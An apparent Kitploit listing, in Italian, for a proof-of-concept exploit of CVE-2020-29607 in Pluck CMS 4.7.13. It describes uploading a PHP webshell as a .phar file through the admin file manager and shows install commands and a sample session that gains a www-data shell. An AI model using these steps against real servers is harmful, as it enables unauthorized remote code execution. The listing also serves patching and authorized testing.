CVE-2020-29607-Pluck-CMS-4.7.13-Authenticated-File-Upload-RCE-PoC — Exploit RCE autenticato per Pluck CMS <= 4.7.13 tramite caricamento di file non validato. Carica una webshell PHP e fornisce una shell interattiva per i comandi. | Kitploit

Condividi

CVE-2020-29607 — Pluck CMS <= 4.7.13 Caricamento File Autenticato RCE (PoC)

Esecuzione remota di codice autenticata in Pluck CMS precedente alla versione 4.7.13. Il file manager dell'amministratore (admin.php?action=files) non convalida le estensioni dei file, consentendo il caricamento di file .phar che Apache esegue come PHP. Il caricamento di una webshell tramite questo endpoint porta a RCE come utente del server web.

Come funziona

Si autentica utilizzando la password di amministrazione fornita.
Carica una webshell PHP come shell.phar tramite il file manager dell'amministratore.
Verifica l'esecuzione richiedendo la shell ed eseguendo id.
Apre un ciclo di comando interattivo contro la webshell caricata.

Requisiti

Python 3
Installare le dipendenze:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Accesso in corso...
[+] Accesso effettuato
[*] Caricamento webshell...
[+] Webshell caricata
[*] URL shell: http://10.10.10.10/files/shell.phar
[+] Il target è vulnerabile! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell aperta. Digita 'exit' o Ctrl+C per uscire.

Shell> whoami
www-data